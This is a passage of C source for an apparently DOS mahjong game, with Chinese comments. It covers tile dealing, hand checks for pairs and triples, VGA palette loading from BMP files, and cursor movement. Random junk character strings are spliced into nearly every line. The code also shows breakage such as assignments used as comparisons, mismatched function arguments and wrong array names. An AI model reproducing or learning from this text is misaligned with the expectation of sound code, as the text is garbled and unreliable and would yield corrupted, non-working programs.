for(i=0;i&lt;10;i++). ]9 x; ^: f$ u1 _2 {$ C$ M
{- x; w; H7 u9 N! h& F
for(j=0;j&lt;2;j++)/ n  P: E( y. a8 X: z
{test[j]=pt[i+j]; $ {1 _/ E3 O+ S! \" G# A/ R! X
}
# ]; ]3 j3 a* w2 |  Yif(istwo(test))/ k- f5 ?0 W) H9 Y7 x4 @- `' i' q
{ ill=0;
/ W5 `& ]- ?" w. ^# H3 A* m& O: z8 ^for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  G. Q9 j' @' @' F2 J+ O{if(kl==i)+ N1 m( v3 k  ?3 g1 `4 N
{, G4 ~5 @4 s0 y  k( y. s
kl=kl+2;, ]* _. J9 a7 Y% a/ x5 U2 X
if(kl==11)1 c% C3 l9 ~: |  V$ y/ t
break;
, c# N. I! A5 T! P' y: Z7 j}
+ T+ K( b7 g' y5 r& e# d& Utest[ill++]=pt[kl];
6 s; ~( Y# K1 ]( @}1 t( q% v% D* @" _* T7 U
isthree(test,tt-2); 3 p4 z% b! V% k6 `- K$ H; v* |
}
2 s# K2 l7 q& K9 g/ Q2 m* y}
5 t1 Z+ \) V) X. W9 Nelse if(tt=12)' Q5 Z3 @( K4 p* V$ t& o& ?
isthree(pt,tt);
: a; M# m9 |9 `2 O8 ~else if(tt=14)2 @( x/ H5 e( S, f/ j$ f0 W; d% l
for(i=0;i&lt;13;i++)
/ S7 [: U' ~4 O& R. I+ P; g) L{
' H: \. n, D/ c6 E0 p6 t( Ffor(j=0;j&lt;2;j++)
4 C, p- }. x( b; b$ b9 m{test[j]=pt[i+j]; 3 b# Y. z* b7 l' ?
}/ ^9 A& |$ R: r  X% K" A9 U% A
if(istwo(test)): ~; x, p+ P  G, e4 v
{ ill=0;
% k1 e0 P! Z6 K8 u" B+ Ufor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 K% {( q+ q' x{if(kl==i)' }6 N6 K( f' h) I/ U
{
5 ?: l& [9 t: B2 `3 c* @8 Nkl=kl+2;
# w) s! h! U" }& dif(kl==14)
4 n9 s# `2 c( q6 G4 L3 `# ~3 Z( x5 Xbreak;! [- j/ E$ R- j/ m
}' ~4 Z* G, [, d* D; L
test[ill++]=pt[kl];
: T( R5 S4 c6 I}
) X$ s: Q0 q$ r5 gisthree(test,tt-2); / N6 j7 y( _  j/ I8 N  k6 o
}5 [3 _, O4 L2 l, m* L4 F/ W! p
}4 o$ I+ n5 u: ?8 V/ Q2 f
if(ii==2)
1 K" @/ D" t, t9 x% q& Q* Wistwo(pi);
  q0 N4 l% p( V3 G. `1 G8 I6 aelse if(ii==3)/ p/ l$ [" q( G0 p
isthree(pi,ii);
% e  k! t2 _. s$ u* ~else if(ii==5)
9 _5 F6 o7 ]0 {* d+ w/*pi[5]原始牌数组,假设已经升序排列*/
3 s6 A5 W* e& y, m3 G- |/*test[3]用来放置测试牌的数组*/
5 r; Y9 w$ G3 Cfor(i=0;i&lt;4;i++)( m6 c* v, L4 V3 `3 k, g* A% T9 T, @
{* @4 j1 M" _. U3 j$ U
for(j=0;j&lt;2;j++)
* j! U. D9 E8 `/ q& M# I{test[j]=pi[i+j];
, q9 Y, i5 y  o8 f: N}  t& A) p2 F% V1 k8 e
if(istwo(test))
" j! @+ N$ p! i{ ill=0;
, z" f+ I+ [% Xfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/4 \2 C4 i4 C) b5 K( M. M1 I
{if(kl==i)1 R7 w2 f; `) G! [
{3 I8 _7 m: C) @' l
kl=kl+2;% t5 z5 D. W5 D2 x  \4 J
if(kl==5)/ j$ z% e; o5 D' T6 S( J
break;  U( _% g6 \, G* o. Z9 E. H# ]6 v
}
' S* K' u8 N7 X2 Utest[ill++]=pw[kl];
6 k. d7 b2 x, r: b9 Y3 [" U}" ~; o8 d1 ]# v, Z
isthree(test);
( S, U2 O7 M7 H# J  z}
  P* q) ~; o6 k}0 k( x: q5 Q( F# d' D- n
else if(ii==6)
( i9 |/ L  g& Kisthree(pi,ii); 7 [2 k% }* [" d3 g$ ^
else if(ii==8)3 r1 B- [- ?8 W# z7 W& \
for(i=0;i&lt;7;i++)
7 j3 \  I4 c9 n8 q' A; ]! y{
6 I+ i  \# d5 @) S: T) d7 cfor(j=0;j&lt;2;j++)& B# @- K, q4 e- S  |" Q4 \
{test[j]=pi[i+j];
5 q6 m1 ]2 ^- ]# l! K}; n; T* I5 F( W( {
if(istwo(test))7 N, V  V( v+ S' O5 }- o4 o$ D
{ ill=0;/ m* o' |2 V* s# u) Y4 V
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/9 J) s* Q4 U% Q. j5 s3 [
{if(kl==i)& k% c- T. D. y3 O
{
% p3 [$ x- w' d- g% W2 T* wkl=kl+2;
; j  Q1 m4 x' c% b2 ^8 x. I, uif(kl==8)
# w: h% X  _$ f& N9 zbreak;" Y- n0 @" B0 q" T' ]
}, `- J" `, q4 y1 r( Y9 z2 E* z: r. i
test[ill++]=pi[kl];- X8 Z. u1 l0 S& h* w) s
}
( F. z; p+ Q, C' D" Kisthree(test,ii-2);
1 W+ z# T; R2 _}/ N/ t4 v" I) K% P2 F5 N
} 7 Q+ @. A3 ^7 b
else if(ii==9)
5 }+ G3 H& @% Risthree(pi,ii);
) d; S( F/ J( M# H+ |" z2 t* `else if(ii==11)/ z2 z% D) y, p* P
for(i=0;i&lt;10;i++)
+ \; G+ d7 G6 O" N- i- ~8 w/ }3 J{
) `$ ^8 J0 h( J/ }6 x9 J% ^. ffor(j=0;j&lt;2;j++)
0 l5 K& @$ X0 f9 Q8 `{test[j]=pi[i+j];
  F: t9 L# i+ f& V/ ^$ X$ B# b) t}
; p, G4 v& d/ u# W, k3 rif(istwo(test))
: J( o: ~  |. [1 [0 l) a{ ill=0;1 O+ v- e" q8 N; w2 h/ W0 r
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
$ k+ t1 A* v) w* u1 `9 u{if(kl==i)# O! d' Y( A. }/ a4 D$ {
{, J5 M: ~! T/ U, T: q* {' ?
kl=kl+2;
2 a3 i) R3 x& }5 X  Uif(kl==11)7 v% b$ }- F. B5 M4 ]
break;; n6 t6 @5 g' J
}
4 z% e! Z2 M' `7 c1 W, W% Vtest[ill++]=pi[kl];& n# M, L* }- m: S) E3 K2 X' M
}7 V5 t7 H6 Q; T) J& H- G& k
isthree(test,ii-2); . C8 n; o) Z+ b
}
3 D3 q$ B7 v0 |3 |' Z3 s6 @" e} 6 w* }( \. g$ G4 d: E0 J
else if(ii=12)
/ s& s9 R* A0 m+ L& @; s* [: k' L4 {isthree(pi,ii);
! o; q  E/ v* m- w6 velse if(ii=14), @% Z* K# c& B) y' R2 C" i4 p
for(i=0;i&lt;13;i++)9 D% Q& q- T" ~5 C/ P* W
{# x6 J" w0 d& H# ^7 l1 e
for(j=0;j&lt;2;j++); i$ I. }& `$ Q; ~
{test[j]=pi[i+j]; 4 P* H" S3 S" l1 ]# g
}% v7 w) G! [, }9 v) S% j$ z
if(istwo(test))# {& p' @+ ]; `. O7 [
{ ill=0;
8 }6 `2 F# J8 e! Bfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 B; d; S& G, L2 e{if(kl==i)2 K% a4 S# J3 C+ c9 _9 d) k* `+ {/ ]
{0 k) [) Y& G3 K) [4 i6 V
kl=kl+2;
7 c. A9 ~/ v" T' c7 `if(kl==14)
2 w* K4 Y3 H- Z) R" |break;- Y5 r! T2 v9 T8 ?3 R
}- b/ W: R! d* f- K0 S
test[ill++]=pi[kl];  k+ f1 y3 N" `$ m
}
% }4 ~( d$ ]  sisthree(test,ii-2);
0 U) Z, y' A1 G+ G}. s& J; L* c1 q  T% h( Z/ g5 Y% y
} 5 X( `3 m; I* W; W9 y4 L
if(ff==2)
( q4 \4 G$ w. Q3 ?6 ~% m4 gistwo(pf);
/ e2 j1 q2 n9 i5 H. relse if(ff==3)
. |! D7 \) X7 q9 _- yisthree(pf,ff);
9 k3 \4 C: @9 S2 E  Ielse if(ff==5): V1 i6 h; f: @  S& q+ z: B, N$ n$ F
/*pf[5]原始牌数组,假设已经升序排列*// a; v4 [* z+ _! F
/*test[3]用来放置测试牌的数组*/8 I! J7 ~5 r9 ?: \/ z" w
for(i=0;i&lt;4;i++)6 h  V$ b7 e8 ~7 }1 T
{' [2 C4 X3 ]% Y# p3 \: O% d2 M1 U
for(j=0;j&lt;2;j++)9 S/ _9 m# d+ i0 _
{test[j]=pf[i+j]; 8 q1 ^: G' ?' x: z- o- P6 {/ c4 C
}% |+ K! k* N! |  A. o  X
if(istwo(test)). j9 K' S8 _! J6 W9 r/ c- m
{ ill=0;9 y. f* G9 J) P$ ]: H4 H
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
& I* N! U/ `2 Q$ m' f. r5 n1 w{if(kl==i)
) d' |; M% @' k* Z{) h1 n4 W6 p# Z0 X
kl=kl+2;
' l, U4 L0 H0 e$ E  M4 V( gif(kl==5)
9 b$ _; [% ]7 ^4 d. ^: H( u& z0 cbreak;
3 L+ Z5 d+ h% I: H}
7 v, m" c+ r, Btest[ill++]=pf[kl];
  F- q' f9 p( L}
. G+ y- v6 K; a1 w, _! ~: T3 i; eisthree(test);
3 ]7 @, E* H1 G2 Q: T9 f7 D}( e. \6 o  o; x0 ?7 k# w
}; f; i& U; {4 I/ j8 @3 T
else if(ff==6)
& {0 P# |+ @6 Y7 Risthree(pf,ff);
* |5 z( t* N/ v. M  delse if(ff==8)
$ U' X" O" D& ^, k  L% [9 k9 Ffor(i=0;i&lt;7;i++)' L6 v. a3 |8 L
{( s) @/ _) A. z) d6 F' V; x
for(j=0;j&lt;2;j++)
4 p0 w9 d6 A! B8 l% V{test[j]=pf[i+j];
9 f3 B- C: E( s}9 A( ?8 ?6 O0 q) A& M
if(istwo(test))! o' F# {- b( C- X; D% A# v
{ ill=0;
2 [5 L& H3 J# c# G" ^4 C. f: ufor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/8 k  G! Z! j4 j8 D- @6 b
{if(kl==i)
6 Z, ?9 c, `$ F{
. k# t! d6 o, b* z; }kl=kl+2;& b3 i0 ^! t- y; @. c1 f2 M  z5 w* f
if(kl==8)
- o8 ?$ B+ }: U7 A; ]! _break;7 e* G; F4 @% X% Q! b7 v
}
: A' E$ R4 W; M' E; e, R/ i! P4 Q1 Ltest[ill++]=pf[kl];  ~$ s9 Y4 G: Z8 i" Q& R
}
$ D  M* g9 T; ]. B+ g! L) }8 Kisthree(test,ff-2);
4 ~% W: B5 K' w) D1 i5 W7 q1 s}7 c" s3 I% X, r0 y
} + X' L* Y: r$ M7 C" H& U, J: c
else if(ff==9)5 x  W/ `" N+ D6 E
isthree(pw,ww);: k/ l# k. z. m+ U8 m1 O8 J* U9 M/ R
else if(ff==11)
* l7 I  ^1 H0 c1 O+ Q6 y: w2 zfor(i=0;i&lt;10;i++)
" f8 K: }* D8 m, S{
/ I% D6 U& N/ K2 N: y6 q! D' qfor(j=0;j&lt;2;j++)
) Y; A- `# @( u# f{test[j]=pf[i+j]; ( X) @, o4 H) g  h
}" P. Z4 T- f/ G; \# e
if(istwo(test))6 D9 @" ^" e0 [. V  i" l( Y
{ ill=0;
$ c3 S# z$ l& E  `% {/ T5 J" Tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
  t" ~& Q8 ~' g6 U, [* z: d{if(kl==i)2 y4 I, r1 I  e( S
{, ~: q. e0 S: \: Z$ m5 }: A7 t$ o& q9 |
kl=kl+2;& u7 ?" l$ i6 a. t
if(kl==11)
% Q# [. m9 y4 u" f! M8 n1 k4 Hbreak;
( g* t* G  E- G* W, s) P# ^; u1 }}
7 _2 B* }+ r. _9 e: ]5 q$ ^1 ytest[ill++]=pf[kl];% f5 W$ y8 O7 q- D. I% |
}; x6 r+ F& x' I! ]; F4 Y) ^
isthree(test,ff-2);
; B4 Q# p6 ?, X8 c8 ]: c! M$ D) m9 o0 L}
/ Z  B: K# K) D6 Y; B} ) t- Q6 s/ q' @8 r
else if(ff=12)
( F8 F- _* q6 Q. Tisthree(pf,ff);9 G. E3 S: e& C% @" p. s  ]4 E
else if(ff=14)
9 A; K- d! o0 ~" x+ m5 ^* h8 @& d8 }: afor(i=0;i&lt;13;i++)+ J) V9 r, r$ y! {
{# y! N8 I5 M1 K' h) P  }; k
for(j=0;j&lt;2;j++)
7 h4 v4 F$ u1 w8 D. v{test[j]=pf[i+j];
1 \: {9 K/ W- b}# ~7 ~9 f! F/ X0 @0 q9 h
if(istwo(test))
  ]2 u2 I  m" K7 Y{ ill=0;
9 t' u) ]" t/ U4 J" a! s" q8 B/ _, I, dfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 z6 r9 p) @* d# \5 i{if(kl==i)6 K, h9 \1 f% W- P. V3 q
{5 @0 P& f% Q' S
kl=kl+2;
( S- `% R1 J' A6 Wif(kl==14)
+ p1 Q& d; s( Q' `+ C! m. D) @break;
2 ^( p5 k# z& }, q}5 z4 @  c/ I6 {1 q$ S* y5 f4 ]
test[ill++]=pf[kl];
0 n# Z2 q) X3 E/ r- S* \9 g}
& z6 `( Y. ]  U6 X) r5 V; Fisthree(test,ff-2);
  Y. ^) N5 S7 @5 o0 e# X}. t( a3 _) b0 y7 T$ `) c
} % M( }( L& f1 r  F
}6 n+ r8 E3 S, l; |+ |; L
void main(void)
5 J9 d( e+ k8 D$ S5 L0 b{, T# g$ R9 z6 M* m0 V3 s, ]
FILE *bmp;: Y3 @: H/ j* W3 \9 c& i' x
static char *name[2]={"ff.bmp","logo.bmp"};
9 A- ^' D0 ~+ f% r/ y, ?3 r/ rchar *p;
% a; l! }5 J2 {3 C% s8 gint *lingshi;
) R4 Z' W; o0 k- y9 k7 z1 U) M! Uint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;4 V! o: k" J8 A0 H* B+ }# }
int every=0,w=0,x1,x2,y1,y2,every1=0;+ p+ M+ h( \4 X6 p+ R! X/ W4 y
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
& M* H# g& F$ {1 ^0 G% [1 PBYTE palette[256][3];, o' M- G4 }2 [5 v) e! O, ]
SETVGA;5 n. N) ~8 D2 E6 t4 o0 m
getch();
/ f$ m0 L  O! B9 H" W5 T  H6 iwhile(t--), |; e) ?% r, K# s3 V$ y
{
3 _+ A7 |3 ?3 i% @! ^5 ybmp=fopen(name[t],"rb");4 o, s$ {: e0 P! H  K
fseek(bmp,54,SEEK_SET);
5 v4 G( _9 ?  O- Zfor(i=0;i&lt;256;i++)
3 w# j: ]) X1 H5 u: T! }9 J{! H& P6 n3 z+ W0 P4 `
palette[2]=fgetc(bmp)&gt;&gt;2;
  h: q) ^1 Z0 H' Z: k6 ipalette[1]=fgetc(bmp)&gt;&gt;2;
8 S! q, ]2 N0 M' z' p3 Y5 l0 opalette[0]=fgetc(bmp)&gt;&gt;2;" s4 u9 s+ H6 E# }
fgetc(bmp);
1 s# t* g' s  Q, ~; Y% c. d9 QSet_Palette(i,palette[0],palette[1],palette[2]);; _7 X3 D+ e. r: Y& k$ k- f1 m
}$ @$ Z3 S" q( l8 _
for (y=0;y&lt;200;y++)& }8 [; m: i% Y
for(x=0;x&lt;320;x++)$ E1 e$ w3 I' c1 [0 V
pokeb(0xa000,y*320+x,fgetc(bmp));
1 N! K% R) F& t! \3 f# nfclose(bmp);
# `' F. P5 |  H3 `; n3 v. ^9 P% k3 jgetch();% ]+ Y- @6 I. d: R8 M
}
/ w: _7 w! p: g0 O  s2 c, d, Jgetch();- w, A. Q/ [1 o+ B! \. }
fillRectangle(0,0,320,200,0);0 y4 {$ {5 S3 t* D, R% `. w
getch();3 g1 n5 I, K- T
randomize();. `/ q& S1 a7 u% X
me.m=onetothirteen;- j- y8 H0 C. M+ P2 s; Y
while(me.m&gt;0) /*先循环,给自己拿牌*/, z# j& M% c# C6 d  ~8 k
{% M4 s7 D# @0 L& B. i4 g5 c
5 @1 Q3 E) T$ y6 v" D9 O8 l
temp=random(136);9 M0 E7 r9 q& Y9 R7 k
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)) @, y8 |- n* }% R8 f
{0 u# o6 b8 B( @
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
7 _5 d: f3 U3 t. {5 R0 lme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
7 J: r" N* e5 I. N* L$ Bme.pp[n].number=temp; /*第几张,用来排序*/( `/ ^! V" r  o) |/ Y3 e
m[temp].data2=1; /*判断牌是谁的*/, d( y6 f' o4 `( ^2 B
kk=1;/ {' j2 ^9 h5 _+ r$ ?) l1 L
}
! F3 y/ E$ T: R, E, h' \' \if(kk==0) /*判断如果又选择了,就从新再选*/5 o7 {1 v4 u# w8 {7 f' h
{
7 X3 G6 q: b; ?! Hme.m++;
& m* H1 S. f! c; ~7 m: Z3 on--;) e: Q7 H: b7 G6 s0 `! i
}
  R, Y0 q* b( O- b! Lme.m--;1 u" d, K! M" b' r) F) C
n++;
3 G8 V' O7 W' f9 Y- g+ h( G7 pkk=0;( R, }5 B9 J4 u  L0 Q
}, B" N- ^4 c8 t% D& ~5 [
me.m=12;
) f* |1 {' X: k9 N% imelipai(); /*理牌*/
+ H1 t# I. N1 _1 R1 m6 x9 Z/ F. R7 G# k. l
n=13;
/ y3 L% u' X( Mwhile(l&lt;n)
# c, s  w- p4 _2 n$ L6 ~, Z3 ^{  n+ k2 }/ Y! {8 ?' ~( c8 l9 R
z=z+20;
' O0 E) C( ]& d) o. h/ hshowbmp(l);
7 l' f8 y2 |& L. F( Y. I& J6 g% Rl++;
5 I5 g2 G, X0 T( B9 W, b. v0 z, {: S1 o
}* y% e5 }; ]" N5 h( A  q
randomize();
: d- ~( z# h; a$ acomputer.m=oneorthirteen;
+ b6 e" Q3 f! ?n=0;
/ T+ r1 X' Z/ z5 O" {5 Z. ]. ?, z1 Swhile(computer.m&gt;0) /*循环,给对方拿牌*// k. n3 B  H3 h8 P# \3 X
{/ H" \9 M8 o- w. W: p$ {1 Q) \1 `
temp=random(136);
0 X8 @5 R: T0 E1 f  uif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)# {* n4 U9 i) C0 k$ d+ L- F4 c: H
{  h& w& b/ R( A
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
% |) O* g% m! K) h5 d4 dcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/3 o& B/ Z4 h9 k1 j, R6 l+ ]
computer.pp[n].number=temp; /*第几张,用来排序*/
, Y2 m3 e0 y) j$ Km[temp].data2=2; /*判断牌是谁的,2为电脑*/
' S" c  z0 x( }' ckk=1;
5 ]  E5 a5 w+ K' f% F) g7 a0 a5 o' z}
* I# k/ [( c6 u1 p1 A) Kif(kk==0) /*判断如果又选择了,就从新再选*/" U. A; R# X' E" _$ |* d5 ~' u
{
" m9 H0 T, B6 b8 @2 j5 O; R6 a1 Lcomputer.m++;0 E9 U% W$ M% x+ K4 _6 a) p5 H7 K
n--;
2 I! N% w$ @: O- i& M: t$ z}
$ I4 h* G: s, Y* ], o% V( O7 j5 kcomputer.m--;
' t& e$ A+ ?6 }% g% F3 ?n++;& N4 S- E5 q$ s+ |$ f6 e
kk=0;8 ~6 g" l0 O' W$ ?) Z+ ^
}
/ L! j: u4 K/ Ocomputer.m=12;
( K$ }. t' N% M+ o9 ~) c3 _/ jcomlipai(); /*电脑理牌*/
& ]. ^/ E  @. k8 f3 X4 b% gn=13;: x8 G/ h1 u& @
while(ll&lt;n)
5 G3 g0 B( K! p" ?3 E{. V9 X( c% ~7 s6 T; g, ?
zy=zy+20;8 p+ s0 Z. M) S
showybmp(ll);
( E+ D9 U, p" F7 G$ Tll++;' v3 a7 ~1 ?  v, J
}
5 J$ p0 o$ b3 D8 G
- L+ b, z4 p# e7 @) }$ qz=54400;0 ^$ A9 Q+ ?7 |: H$ n3 D5 b
while(key!=ESC), R1 r, M+ ^- Q0 M5 i
{
' C8 ^+ e6 o* J; G: i$ H2 b
* f  ^0 l  n# t( ?- ukeyy=bioskey(0);
& M1 y4 A. j0 ?6 j) P# K  f( k( rif(keyy==LEFT)
6 g( X3 B) c: u7 v{ w=1;
0 J" O+ T' \' Y+ o" P9 R  |$ W2 ?0 Pif(every==0)
+ Q3 c$ S" K( s8 K( v4 n& Y. b  ?{! d+ f9 o( y. {- E
every=1;
+ [8 h& o3 r# ?0 o0 i1 M7 ?$ k! q2 ?z=54440-5*320;* J& s7 p: a8 y$ E) T

7 y+ Y) O, q. K! @1 r" T8 s! _}
0 X: }+ {9 I/ w$ \1 K$ Zzz=zz+5*320;
7 i+ v+ x* E3 L7 f1 \' Ashowbmp(every);0 ?' z/ x- z! \
if(every==0)" N, p" X3 u" E! J
{
7 Z9 q3 _: R3 Z  v: w* }x1=20;& J  a2 a: p) P! {$ {
y1=165;
" c0 J* r2 {& s( NfillRectangle(x1,y1,x1+20,y1+4,0);: S" Z+ N  V  J; p( F$ n' M% q
}
3 H, p) e2 ]8 C0 i9 Cif(every==1)  h7 @; z+ w  u/ f# w3 A/ `
{
, ~* G8 w2 j/ ^) @  q. u- Q* Px1=40;% d# C: r9 B" s& a, \! B) ]
y1=165;# f; [: ?7 ]! _5 v8 U+ p9 ?; s
fillRectangle(x1,y1,x1+20,y1+4,0);: ~$ D" Z8 e; J# y3 B; ^: E
}0 W* ~1 |) C3 C( y
if(every==2)) H. a; n9 r8 p7 M
{
0 Y8 ~  }/ k* ]) p, Dx1=60;$ F5 q$ J! g/ b9 P
y1=165;9 _8 @% o4 F: j% _8 I( c: t
fillRectangle(x1,y1,x1+20,y1+4,0);
+ }  N" F' b( V( A4 ~}
; ~5 |4 C5 s; E. [0 x9 Kif(every==3)) d- h' k* P: C! ~( m* ?8 m
{7 P2 x/ |8 [# {; @2 I/ f8 |
x1=80;
6 z3 C! D( o7 y) w& ^# Gy1=165;4 E8 b  g+ y5 H' a4 j
fillRectangle(x1,y1,x1+20,y1+4,0);( [! N% V3 f! n2 x1 Y
}! e7 A" v. H- ~$ a: v1 s
if(every==4)
. ?( z* H3 m# m6 }{
1 F8 X: p' E, K& px1=100;
% M. r: I+ i% C- k1 py1=165;
' m, I9 l) M  g$ T0 f9 `fillRectangle(x1,y1,x1+20,y1+4,0);; c" P6 E- G+ J) n- q( {$ I
}0 x! ^2 d, }9 G2 A
if(every==5)% h% i0 t! v" h) t
{, ]1 _  _+ W7 }9 s6 ]) h7 @
x1=120;
' Q& d4 y. i2 r  a0 uy1=165;
( W. _  j' P  |% _' T% c: OfillRectangle(x1,y1,x1+20,y1+4,0);/ |2 B# f  q9 k9 h
}; l# E: h: K# ^, Q6 u3 z7 c- @# k1 r
if(every==6)& F/ ~+ a9 s' z( i3 I, t
{; ~9 v) k2 ?2 k/ V8 \) U
x1=140;
6 ?6 Q, S: P/ R6 m2 K/ iy1=165;
. s" E; @3 s$ x3 ofillRectangle(x1,y1,x1+20,y1+4,0);' _# p2 x% h- t
}6 U) A. [4 C4 k; `# ], Z1 M  K) {& m6 I
if(every==7)
0 A: p8 X$ t/ o{
: M/ Y' ^# G$ F1 G' C  Rx1=160;
  X% D! f" ~' B& i2 ay1=165;6 E% v& L" k- O9 }
fillRectangle(x1,y1,x1+20,y1+4,0);
4 X  _3 d5 e" t! O}
; p6 M/ Q: a3 J5 k( |5 ?$ ^if(every==8)' M* H# T% c5 t; s0 _. Z: h- ?
{
8 |% B, ^+ O0 u" @0 `, Dx1=180;
3 ]5 ^" `1 L% c( d/ w, X" Uy1=165;, N) \4 J7 X1 v7 L
fillRectangle(x1,y1,x1+20,y1+4,0);
( Q8 E) a6 o6 o* |; ~' r}9 p  C; Y& u+ h2 J
if(every==9)
% _+ ]/ A) b* V% ?  `{
! J# S9 k, A3 W3 n8 V4 y& Dx1=200;8 D  g( r$ y+ c9 c6 b7 ?, |2 y. h4 O' l
y1=165;0 A0 o5 Z: Q1 ^8 _9 P
fillRectangle(x1,y1,x1+20,y1+4,0);
5 ]; ]4 S! r% [. y, s" q" J}3 i& p( R7 [6 S9 P( }: F
if(every==10)
! G; \, j% F3 G+ z( }% t{! y, b" i! ]: j, m1 q3 V; I5 M$ e' t
x1=220;
* P& u( i6 @. I8 W" u2 Qy1=165;
  S2 t/ g8 I( E: G7 BfillRectangle(x1,y1,x1+20,y1+4,0);- _8 ^- P8 B& U* r7 r% m
}* @: T9 k& k$ ~2 q* V
if(every==11)2 z! |. ^3 l- U  F3 a& e3 k
{; C1 ~, j: i" N! Z
x1=240;6 U! E3 z0 V0 d+ T
y1=165;3 L& Z/ M# Q) r  n' }
fillRectangle(x1,y1,x1+20,y1+4,0);+ ]9 @. s& o3 ~% b$ P; {
}" n1 C* T" @, k: `! H
if(every==12)
; y6 |9 f' m. \. E# d' S8 a{
1 `7 M6 z7 E) \" {1 y( xx1=260;
4 K; z% _2 N: i2 c" M5 U" P+ Vy1=165;
) f- p5 o7 ~* Q" P! @fillRectangle(x1,y1,x1+20,y1+4,0);
7 x  `: [( U* H  d' h9 [" @}7 i0 b9 f; U# c, g3 I0 R
zz=0;9 |! Z! J/ T# E% s: K4 Y
every--;
& H0 Y0 x3 D* Y6 R) A9 sz=z-20;
* t0 s. ]4 X, G: B( _: x6 O( ~}
  l* K- T! u# ]; s- W2 _if(keyy==RIGHT)
/ x/ {+ s9 @: T7 x  v/ X9 M+ s) [{ if(w==0)* ~1 G8 `1 M# u0 a+ e
{
; K4 _. o# r5 G' k- w; pz=54440-5*320;
; I, e5 s) O* @$ g3 W. `z=z-20;( e8 S: n! q2 x4 }0 Q2 G0 h
w=1;
! O- Q( X" Z8 L# g9 u+ T0 t}# B- s: F6 K$ }, |4 @
if(every==12)
* G( @2 S0 _, `{
$ a+ }3 t/ K1 N. T; l& l! E* _0 nevery=11;1 X$ O  `/ l7 _) v3 z. x* |* F
z=54640-5*320;
, C+ o; }+ P5 P$ C/ d}
9 t1 T$ F4 T8 Z6 \. qzz=zz+5*320;
1 j  {1 i. R* f: @7 f1 E! ashowbmp(every);; Q0 l6 V! W6 ~5 ^
if(every==0)
, X/ I/ D' p- @. Z0 R2 \{
1 X) \% |- z9 ?* a9 W  |x1=20;
9 x1 F! a- w2 t) C  J( ~y1=165;
+ t1 O0 n/ ^" wfillRectangle(x1,y1,x1+20,y1+4,0);. v% W% d4 g4 `1 m2 i
}' L. E  [" [( }6 I, [
if(every==1)$ A8 Z6 I9 w5 R
{
  d( E8 v# x7 W0 z+ T  _" Mx1=40;
# P( w  ?9 S0 w( d( g8 Py1=165;
6 I& m$ m7 P7 ~% B! n# ?fillRectangle(x1,y1,x1+20,y1+4,0);5 h% b2 N* @+ U  G7 i7 a+ i
}
' ~' D1 |0 g, |6 H" ^* Gif(every==2)0 z  J0 y- W0 I& `) H' h
{
+ {7 k3 }* ^/ \" c" v5 t7 dx1=60;7 ~3 c7 h  H6 b" m7 o
y1=165;
4 X( |" [+ ]- a2 I. DfillRectangle(x1,y1,x1+20,y1+4,0);
% ]/ Z6 j- k3 Y" E3 C. a, K}
8 y, `, C1 T3 s+ G2 Xif(every==3)
2 E7 C, \' i5 S' W2 W{( J4 |( N- o6 r
x1=80;+ u* S. Y; [2 P* I4 v# \
y1=165;& B% A2 k5 i+ E8 v" ^% X0 Y
fillRectangle(x1,y1,x1+20,y1+4,0);0 U7 k7 E3 V2 {# j; @- T
}# p5 n8 I9 a* v; A: L& E
if(every==4)
( s+ v7 H8 [. K8 t{
# A3 z# X# i& |: x/ P) ex1=100;
) m, d- @* V+ r! d) I% Y6 r: Hy1=165;
# L! x: B" F4 ufillRectangle(x1,y1,x1+20,y1+4,0);
) }- E( m3 v$ a# W! q" @0 _}
2 l% }! E; i: n  T2 |' Oif(every==5)
+ i- ~# w; K1 j9 d2 V{
, P2 u4 H" s6 l% }; v6 M5 f% Tx1=120;3 c7 ^+ c- R# o% H/ L
y1=165;
, r, r$ ?. B+ V+ O2 z' L, U5 afillRectangle(x1,y1,x1+20,y1+4,0);
( g0 [1 P: A0 v) p/ K& s, Q- y( q}
  O9 L, j) {% `: r6 L% fif(every==6)4 [+ u% R7 d! [/ j4 o2 L: Z4 `
{% Y. U2 z+ A. q5 Q
x1=140;
% w1 }1 |3 Y3 ~) R, Ny1=165;
5 v2 X" e$ }  Y+ U# Q! D% b* u- EfillRectangle(x1,y1,x1+20,y1+4,0);# l6 C% c. B7 l$ I8 @5 l0 l. S
}
* m  w* @) }$ M9 W* Eif(every==7)' r+ e* S7 e- X6 g/ q* P9 p  D
{& W  w( ?0 p  }9 N
x1=160;: O% O2 k* k0 ^
y1=165;* T- J+ Q( ^8 a7 M0 M: N# `
fillRectangle(x1,y1,x1+20,y1+4,0);
+ _  J% Q3 X7 v( G+ q- Q. `( ]7 u}0 h# d8 K- u8 u" l0 \# a  c! y
if(every==8)
3 v; O1 _) v9 H( ^{
3 p% ]' O. Y0 d( Px1=180;" ^& r( R, |0 e3 Q* P& [
y1=165;6 y! a4 V+ s3 z8 N9 ^# I+ V
fillRectangle(x1,y1,x1+20,y1+4,0);2 X3 W8 R; `. |- y7 h# x
}6 o+ v( a, Q; S+ R
if(every==9)* b* o6 r+ v7 Q+ v+ U
{
$ m) C+ o/ u" o. n- ox1=200;9 H0 T0 l: D: h9 t4 x
y1=165;0 P4 |0 U& Z0 @# S! J
fillRectangle(x1,y1,x1+20,y1+4,0);
